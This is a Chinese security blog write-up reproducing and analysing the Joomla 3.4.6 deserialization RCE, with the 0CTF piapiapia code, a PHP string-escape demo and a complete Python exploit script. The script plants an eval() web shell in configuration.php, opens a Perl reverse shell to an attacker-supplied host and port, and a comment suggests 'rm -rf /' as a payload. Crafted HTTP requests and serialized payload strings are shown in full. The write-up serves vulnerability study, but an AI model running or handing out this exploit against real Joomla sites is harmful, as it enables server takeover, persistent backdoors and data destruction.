Joomla 3.4.6 RCE复现及分析 – 作者:shuteer

作者:whojoe(MS08067安全实验室SRST TEAM成员)

前言

前几天看了下PHP 反序列化字符逃逸学习,有大佬简化了一下joomla3.4.6rce的代码,今天来自己分析学习一下。

环境搭建

Joomla 3.4.6 : [https://downloads.joomla.org/it/cms/joomla3/3-4-6](https://downloads.joomla.org/it/cms/joomla3/3-4-6)

php :5.4.45nts(不支持php7)

影响版本: 3.0.0 — 3.4.6

漏洞利用: https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla

(https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla)

要求PHP Version >= 5.3.10

反序列化长度扩展分析

## 0CTF-2016-piapiapia中的利用代码

这里就直接从大佬那里把代码拿来了

index.php

<?php
  require_once('class.php');
  if(isset($_SESSION['username'])) {
    header('Location: profile.php');
    exit;
  }
  if(isset($_POST["username"]) && isset($_POST["password"])) {
    $username = $_POST['username'];
    $password = $_POST['password'];


    if(strlen($username) < 3 or strlen($username) > 16) 
      die('Invalid user name');


    if(strlen($password) < 3 or strlen($password) > 16) 
      die('Invalid password');


    if($user->login($username, $password)) {
      $_SESSION['username'] = $username;
      header('Location: profile.php');
      exit;
    }
    else {
      die('Invalid user name or password');
    }
  }
  else {
echo '
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
  <div class="container" style="margin-top:100px">
    <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
      <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
      <h3>Login</h3>
      <label>Username:</label>
      <input type="text" name="username" style="height:30px"class="span3"/>
      <label>Password:</label>
      <input type="password" name="password" style="height:30px" class="span3">


      <button type="submit" class="btn btn-primary">LOGIN</button>
    </form>
  </div>
</body>
</html>';


  }
?>

profile.php

<?php
  require_once('class.php');
  if($_SESSION['username'] == null) {
    die('Login First');
  }
  $username = $_SESSION['username'];
  $profile=$user->show_profile($username);
  if($profile  == null) {
    header('Location: update.php');
  }
  else {
    $profile = unserialize($profile);
    $phone = $profile['phone'];
    $email = $profile['email'];
    $nickname = $profile['nickname'];
    $photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
  <div class="container" style="margin-top:100px">
    <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
    <h3>Hi <?php echo $nickname;?></h3>
    <label>Phone: <?php echo $phone;?></label>
    <label>Email: <?php echo $email;?></label>
  </div>
</body>
</html>
<?php
  }
?>

register.php

<?php
  require_once('class.php');
  if(isset($_POST['username']) && isset($_POST['password'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];


    if(strlen($username) < 3 or strlen($username) > 16) 
      die('Invalid user name');


    if(strlen($password) < 3 or strlen($password) > 16) 
      die('Invalid password');
    if(!$user->is_exists($username)) {
      $user->register($username, $password);
      echo 'Register OK!<a href="index.php">Please Login</a>';
    }
    else {
      die('User name Already Exists');
    }
  }
  else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
  <div class="container" style="margin-top:100px">
    <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
      <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
      <h3>Register</h3>
      <label>Username:</label>
      <input type="text" name="username" style="height:30px"class="span3"/>
      <label>Password:</label>
      <input type="password" name="password" style="height:30px" class="span3">


      <button type="submit" class="btn btn-primary">REGISTER</button>
    </form>
  </div>
</body>
</html>
<?php
  }
?>

update.php

<?php
  require_once('class.php');
  if($_SESSION['username'] == null) {
    die('Login First');
  }
  if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {


    $username = $_SESSION['username'];
    if(!preg_match('/^\d{11}$/', $_POST['phone']))
      die('Invalid phone');


    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
      die('Invalid email');

    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
      die('Invalid nickname');


    $file = $_FILES['photo'];
    if($file['size'] < 5 or $file['size'] > 1000000)
      die('Photo size error');


    move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    $profile['phone'] = $_POST['phone'];
    $profile['email'] = $_POST['email'];
    $profile['nickname'] = $_POST['nickname'];
    $profile['photo'] = 'upload/' . md5($file['name']);


    $user->update_profile($username, serialize($profile));
    echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
  }
  else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
  <div class="container" style="margin-top:100px">
    <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
      <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
      <h3>Please Update Your Profile</h3>
      <label>Phone:</label>
      <input type="text" name="phone" style="height:30px"class="span3"/>
      <label>Email:</label>
      <input type="text" name="email" style="height:30px"class="span3"/>
      <label>Nickname:</label>
      <input type="text" name="nickname" style="height:30px" class="span3">
      <label for="file">Photo:</label>
      <input type="file" name="photo" style="height:30px"class="span3"/>
      <button type="submit" class="btn btn-primary">UPDATE</button>
    </form>
  </div>
</body>
</html>
<?php
  }
?>

class.php

<?php
require('config.php');


class user extends mysql{
  private $table = 'users';


  public function is_exists($username) {
    $username = parent::filter($username);


    $where = "username = '$username'";
    return parent::select($this->table, $where);
  }
  public function register($username, $password) {
    $username = parent::filter($username);
    $password = parent::filter($password);


    $key_list = Array('username', 'password');
    $value_list = Array($username, md5($password));
    return parent::insert($this->table, $key_list, $value_list);
  }
  public function login($username, $password) {
    $username = parent::filter($username);
    $password = parent::filter($password);


    $where = "username = '$username'";
    $object = parent::select($this->table, $where);
    if ($object && $object->password === md5($password)) {
      return true;
    } else {
      return false;
    }
  }
  public function show_profile($username) {
    $username = parent::filter($username);


    $where = "username = '$username'";
    $object = parent::select($this->table, $where);
    return $object->profile;
  }
  public function update_profile($username, $new_profile) {
    $username = parent::filter($username);
    $new_profile = parent::filter($new_profile);


    $where = "username = '$username'";
    return parent::update($this->table, 'profile', $new_profile, $where);
  }
  public function __tostring() {
    return __class__;
  }
}


class mysql {
  private $link = null;


  public function connect($config) {
    $this->link = mysql_connect(
      $config['hostname'],
      $config['username'], 
      $config['password']
    );
    mysql_select_db($config['database']);
    mysql_query("SET sql_mode='strict_all_tables'");


    return $this->link;
  }


  public function select($table, $where, $ret = '*') {
    $sql = "SELECT $ret FROM $table WHERE $where";
    $result = mysql_query($sql, $this->link);
    return mysql_fetch_object($result);
  }


  public function insert($table, $key_list, $value_list) {
    $key = implode(',', $key_list);
    $value = '\'' . implode('\',\'', $value_list) . '\''; 
    $sql = "INSERT INTO $table ($key) VALUES ($value)";
    return mysql_query($sql);
  }


  public function update($table, $key, $value, $where) {
    $sql = "UPDATE $table SET $key = '$value' WHERE $where";
    return mysql_query($sql);
  }


  public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);


    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
  }
  public function __tostring() {
    return __class__;
  }
}
session_start();
$user = new user();
$user->connect($config);

config.php

<?php
  $config['hostname'] = '127.0.0.1';
  $config['username'] = 'root';
  $config['password'] = 'root';
  $config['database'] = 'test';
  $flag = '121312131';
?>

分析

index.php是登录界面(没啥用)

profile.php是读取文件的(划重点)

register.php是注册的(没啥用)

update.php是更新信息(划重点)

class.php是核心代码(划重点)

config.php flag在里面

在profile.php中可以读取文件,并且上面有反序列化操作,在update.php文件上传没有做任何过滤,但是估计实际环境会限制代码执行,在class.php中有序列化操作,并且对字符串进行了替换,由于没有对传入的单引号进行过滤,所以是存在sql注入的,但是没什么用,数据库中的所有东西都是我们可控的,所以重点就在了序列化和反序列化还有字符串长度替换上,看下过滤代码

public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);


    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
  }

可以看到长度唯一改变的就是where,那么我们上传一个文件看一下

a:4:{s:5:”phone”;s:11:”12345678901″;s:5:”email”;s:13:”[email protected]”;s:8:”nickname”;s:5:”joezk”;s:5:”photo”;s:39:”upload/d421244c920e11775c1d1711a1a11da0″;}

这里面的photo是我们想要控制的,那么我们就需要控制nickname字段加上长度的替换来实现任意文件读取,但是nickname长度被限制

if(!preg_match('/^\d{11}$/', $_POST['phone']))
      die('Invalid phone');


    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
      die('Invalid email');

    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
      die('Invalid nickname');


    $file = $_FILES['photo'];
    if($file['size'] < 5 or $file['size'] > 1000000)
      die('Photo size error');

这里可以使用数组绕过,那么我们就传一下数组来看一下

图片.png

a:4:{s:5:”phone”;s:11:”12345678901″;s:5:”email”;s:13:”[email protected]”;s:8:”nickname”;a:1:{i:0;s:5:”joezk”;}s:5:”photo”;s:39:”upload/d421244c920e11775c1d1711a1a11da0″;}

发现里面的结构发生了改变,所以我们就要考虑如何构造,因为后面的s:5:”photo”;s:39:”upload/d421244c920e11775c1d1711a1a11da0″;}是没用的,所以这一部分就被丢弃了,为了保证还有photo字段,就要把字符串进行扩充,结合前面的正则替换,where变成hacker,增加了一个长度,所以我们的最终序列化之后的应该是这种格式的

a:4:{s:5:”phone”;s:11:”12345678901″;s:5:”email”;s:13:”[email protected]”;s:8:”nickname”;a:1:{i:0;s:5:”where”;}s:5:”photo”;s:10:”config.php”;}”;}s:5:”photo”;s:39:”upload/d421244c920e11775c1d1711a1a11da0″;}

其中的where”;}s:5:”photo”;s:10:”config.php”;}是我们要发送过去的nickname

“;}s:5:”photo”;s:10:”config.php”;}长度为34,那么我们就需要把这34位给挤出去,才能保证这个是可以反序列化的,为了把这34位挤出去,就需要34个where来填充,经过正则匹配后,就会变成34个hacker长度就增加了34位,即可满足我们的要求

即nickname为wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere”;}s:5:”photo”;s:10:”config.php”;}

发送数据包

POST /fff/update.php HTTP/1.1
Host: 192.168.164.138
Content-Length: 1405
Cache-Control: max-age=0
Origin: http://192.168.164.138
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjxnZAvhPqkTxgKar
User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.164.138/fff/update.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=rdfs2saq7tgjqa3p224g33cg16
Connection: close


------WebKitFormBoundaryjxnZAvhPqkTxgKar
Content-Disposition: form-data; name="phone"


12345678901
------WebKitFormBoundaryjxnZAvhPqkTxgKar
Content-Disposition: form-data; name="email"


[email protected]
------WebKitFormBoundaryjxnZAvhPqkTxgKar
Content-Disposition: form-data; name="nickname[]"


wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
------WebKitFormBoundaryjxnZAvhPqkTxgKar
Content-Disposition: form-data; name="photo"; filename="QQ&#25130;&#22270;20200428221719.jpg"
Content-Type: image/jpeg


11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111


------WebKitFormBoundaryjxnZAvhPqkTxgKar--

查看数据库中结果

a:4:{s:5:”phone”;s:11:”12345678901″;s:5:”email”;s:13:”[email protected]”;s:8:”nickname”;a:1:{i:0;s:204:”hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker”;}s:5:”photo”;s:10:”config.php”;}”;}s:5:”photo”;s:39:”upload/d421244c920e11775c1d1711a1a11da0″;}

打开profile.php即可查看结果

图片.png

经过base64解密

图片.png

joomla中的利用

代码是从大佬那里哪来的,具体如下

<?php
class evil{
    public $cmd;


    public function __construct($cmd){
        $this->cmd = $cmd;
    }


    public function __destruct(){
        system($this->cmd);
    }
}


class User
{
    public $username;
    public $password;


    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }


}


function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}


function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}


if(file_exists("dbs.txt")){
    unlink("dbs.txt");
}


$username = "peri0d";
$password = "1234";
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));

username和password我们是可控的

大概的利用链就是通过反序列化来调用evil函数执行我们要执行的命令

<?php
class evil{
    public $cmd;
    public function __construct($cmd){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}


class User
{
    public $username;
    public $password;
    public $ts;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
$username = "peri0d";
$password = "1234";
$r = new User($username, $password);
$r->ts = new evil('whoami');
echo serialize($r);
//O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}

看以前前面的过滤,如果传入chr(0).’*’.chr(0)是没什么用的,但是如果传入\0\0\0,就可以对序列化的字符串长度进行缩短,我们刚才的payload需要进行修改才可以用,首先,正常经过序列化的只有两个参数,而我们构造的有三个,正好结合前面的长度缩短删除掉一个参数即可实现,所以最终的payload应该是这样的。

<?php
class evil{
    public $cmd;
    public function __construct($cmd){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}


class User
{
    public $username;
    public $password;
    public $ts;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
$aa='O:4:"User":2:{s:8:"username";s:6:"peri0d";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
unserialize($aa);

我们来对比一下序列化之后的字符串

O:4:”User”:3:{s:8:”username”;s:6:”peri0d”;s:8:”password”;s:4:”1234″;s:2:”ts”;O:4:”evil”:1:{s:3:”cmd”;s:6:”whoami”;}}

O:4:”User”:2:{s:8:”username”;s:6:”peri0d”;s:2:”ts”;O:4:”evil”:1:{s:3:”cmd”;s:6:”whoami”;}}

可以看出两个不同的就是

peri0d”;s:8:”password”;s:4:”1234

目的就是要把利用长度缩减把password字段给包括到username字段里,这一部分,他的长度是32要去掉

这里面我们的payload是

s:2:”ts”;O:4:”evil”:1:{s:3:”cmd”;s:6:”whoami”;}

长度为47

我们只能控制两个参数就是username和password,我们为了保证password字段被username吃掉而且还要保证payload能够被利用,payload就要放在password字段中传入,通过username字段进行缩减从而达到目标,有了思路,就开始构造。

$username = "peri0d";
$password = '123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
echo serialize(new User($username, $password));
//O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:55:"12345";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}

这里我们需要删除的是

“;s:8:”password”;s:55:”123455

他的长度是28

在正则中

str_replace(‘\0\0\0′, chr(0).’*’.chr(0), $data);

我们每次只能删除的长度是3,所以字符串长度应该是3的倍数,那么就把长度减一,变成27即可,需要9个\0\0\0

$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
echo serialize(new User($username, $password));
//O:4:"User":2:{s:8:"username";s:60:"peri0d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:54:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}

执行一下

$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));

图片.png

可以看到我们的payload已经执行了。

漏洞复现

下载poc之后安装需要的包,运行exp

图片.png

菜刀按上面的网址和密码链接

图片.png

查看configuration.php发现已经写入一句话

图片.png

exp分析

#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup
import sys
import string
import random
import argparse
from termcolor import colored

PROXS = {'http':'127.0.0.1:8080'}
#PROXS = {}

def random_string(stringLength):
      letters = string.ascii_lowercase
      return ''.join(random.choice(letters) for i in range(stringLength))


backdoor_param = random_string(50)

def print_info(str):
      print(colored("[*] " + str,"cyan"))

def print_ok(str):
      print(colored("[+] "+ str,"green"))

def print_error(str):
      print(colored("[-] "+ str,"red"))

def print_warning(str):
      print(colored("[!!] " + str,"yellow"))

def get_token(url, cook):
      token = ''
      resp = requests.get(url, cookies=cook, proxies = PROXS)
      html = BeautifulSoup(resp.text,'html.parser')
      # csrf token is the last input
      for v in html.find_all('input'):
              csrf = v
      csrf = csrf.get('name')
      return csrf


def get_error(url, cook):
      resp = requests.get(url, cookies = cook, proxies = PROXS)
      if 'Failed to decode session object' in resp.text:
              #print(resp.text)
              return False
      #print(resp.text)
      return True


def get_cook(url):
      resp = requests.get(url, proxies=PROXS)
      #print(resp.cookies)
      return resp.cookies


def gen_pay(function, command):
      # Generate the payload for call_user_func('FUNCTION','COMMAND')
      template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
      #payload =  command + ' || $a=\'http://wtf\';'
      payload =  'http://l4m3rz.l337/;' + command
      # Following payload will append an eval() at the enabled of the configuration file
      #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
      function_len = len(function)
      final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
      return final

def make_req(url , object_payload):
      # just make a req with object
      print_info('Getting Session Cookie ..')
      cook = get_cook(url)
      print_info('Getting CSRF Token ..')
      csrf = get_token( url, cook)

      user_payload = '\\0\\0\\0' * 9
      padding = 'AAA' # It will land at this padding
      working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
      clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects

      inj_object = '";'
      inj_object += object_payload
      inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
      password_payload = padding + inj_object
      params = {
          'username': user_payload,
          'password': password_payload,
          'option':'com_users',
          'task':'user.login',
          csrf :'1'
          }

      print_info('Sending request ..')
      resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
      return resp.text

def get_backdoor_pay():
      # This payload will backdoor the the configuration .PHP with an eval on POST request

      function = 'assert'
      template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
      # payload =  command + ' || $a=\'http://wtf\';'
      # Following payload will append an eval() at the enabled of the configuration file
      payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
      function_len = len(function)
      final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
      return final

def check(url):
      check_string = random_string(20)
      target_url = url + 'index.php/component/users'
      html = make_req(url, gen_pay('print_r',check_string))
      if check_string in html:
              return True
      else:
              return False

def ping_backdoor(url,param_name):
      res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
      if 'PWNED' in res.text:
              return True
      return False

def execute_backdoor(url, payload_code):
      # Execute PHP code from the backdoor
      res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
      print(res.text)

def exploit(url, lhost, lport):
      # Exploit the target
      # Default exploitation will append en eval function at the end of the configuration.pphp
      # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
      # e.g. get_payload('system','rm -rf /')

      # First check that the backdoor has not been already implanted
      target_url = url + 'index.php/component/users'

      make_req(target_url, get_backdoor_pay())
      if ping_backdoor(url, backdoor_param):
              print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
              print_info('Now it\'s time to reverse, trying with a system + perl')
              execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')


if __name__ == '__main__':
      parser = argparse.ArgumentParser()
      parser.add_argument('-t','--target',required=True,help='Joomla Target')
      parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
      parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
      parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
      parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
      args = vars(parser.parse_args())


      url = args['target']
      if(check(url)):
              print_ok('Vulnerable')
              if args['exploit']:
                      exploit(url, args['lhost'], args['lport'])
              else:
                      print_info('Use --exploit to exploit it')

      else:
              print_error('Seems NOT Vulnerable ;/')

在第一行已经定义了代理

PROXS = {‘http’:’127.0.0.1:8080′}

获取cookie

def get_cook(url):
     resp = requests.get(url, proxies=PROXS)
     #print(resp.cookies)
     return resp.cookies

获取csrf token

def get_token(url, cook):
        token = ''
        resp = requests.get(url, cookies=cook, proxies = PROXS)
        html = BeautifulSoup(resp.text,'html.parser')
        # csrf token is the last input
        for v in html.find_all('input'):
                csrf = v
        csrf = csrf.get('name')
        return csrf

图片.png

验证漏洞存在,如果存在的话,执行exploit

从新获取cookie和token,写入一句话,检查一句话是否存在,之后通过一句话执行反弹shell操作

def execute_backdoor(url, payload_code):
        # Execute PHP code from the backdoor
        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
        print(res.text)
 
def exploit(url, lhost, lport):
        # Exploit the target
        # Default exploitation will append en eval function at the end of the configuration.pphp
        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
        # e.g. get_payload('system','rm -rf /')
 
        # First check that the backdoor has not been already implanted
        target_url = url + 'index.php/component/users'
 
        make_req(target_url, get_backdoor_pay())
        if ping_backdoor(url, backdoor_param):
                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
                print_info('Now it\'s time to reverse, trying with a system + perl')
                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');'

这里跟踪一下写入一句话,漏洞点存在于libraries/joomla/session/storage/database.php中于是我们在这里下断点查看一下

public function read($id)
{
    // Get the database connection object and verify its connected.
    $db = JFactory::getDbo();


    try
    {
      // Get the session data from the database table.
      $query = $db->getQuery(true)
        ->select($db->quoteName('data'))
      ->from($db->quoteName('#__session'))
      ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));


      $db->setQuery($query);


      $result = (string) $db->loadResult();


      $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);


      return $result;
    }
    catch (Exception $e)
    {
      return false;
    }
  }


  /**
   * Write session data to the SessionHandler backend.
   *
   * @param   string  $id    The session identifier.
   * @param   string  $data  The session data.
   *
   * @return  boolean  True on success, false otherwise.
   *
   * @since   11.1
   */
  public function write($id, $data)
{
    // Get the database connection object and verify its connected.
    $db = JFactory::getDbo();


    $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);


    try
    {
      $query = $db->getQuery(true)
        ->update($db->quoteName('#__session'))
        ->set($db->quoteName('data') . ' = ' . $db->quote($data))
        ->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
        ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));


      // Try to update the session data in the database table.
      $db->setQuery($query);


      if (!$db->execute())
      {
        return false;
      }
      /* Since $db->execute did not throw an exception, so the query was successful.
      Either the data changed, or the data was identical.
      In either case we are done.
      */
      return true;
    }
    catch (Exception $e)
    {
      return false;
    }
  }

看以前前面的过滤,如果传入chr(0).’*’.chr(0)是没什么用的,但是如果传入\0\0\0,就可以对序列化的字符串长度进行缩短,有了之前的分析,这里就会好理解许多,可以参考我的另一篇文章PHP 反序列化字符逃逸学习(https://blog.csdn.net/qq_43645782/article/details/105801796)

数据库中的数据

__default|a:8:{s:15:"session.counter";i:3;s:19:"session.timer.start";i:1588261345;s:18:"session.timer.last";i:1588261347;s:17:"session.timer.now";i:1588261570;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":1:{s:5:"users";O:8:"stdClass":1:{s:5:"login";O:8:"stdClass":1:{s:4:"form";O:8:"stdClass":2:{s:4:"data";a:5:{s:6:"return";s:39:"index.php?option=com_users&view=profile";s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:603:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\'])) eval($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\']);', FILE_APPEND) || 